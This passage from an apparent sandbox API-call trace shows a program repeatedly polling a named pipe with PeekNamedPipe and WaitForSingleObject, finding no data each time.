lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.872] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.941] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.941] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.998] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.044] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.090] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.940] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.138] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.138] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.197] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.198] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.244] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.293] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.451] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.492] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.510] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.545] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.574] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.604] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.643] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.643] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.698] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.729] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.761] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.791] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.029] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.463] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.463] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.496] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.531] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.532] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.565] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.565] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.647] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.647] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.665] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.697] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.727] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.760] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.764] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.808] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.895] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.921] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.399] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.447] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.338] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.338] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.411] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.459] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.494] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.532] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.468] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.550] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.639] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.640] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.703] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.714] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.756] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.785] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.817] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.847] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.847] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.879] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.300] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.331] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.381] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.446] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.446] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.077] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.249] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.249] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.719] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.719] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.764] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, 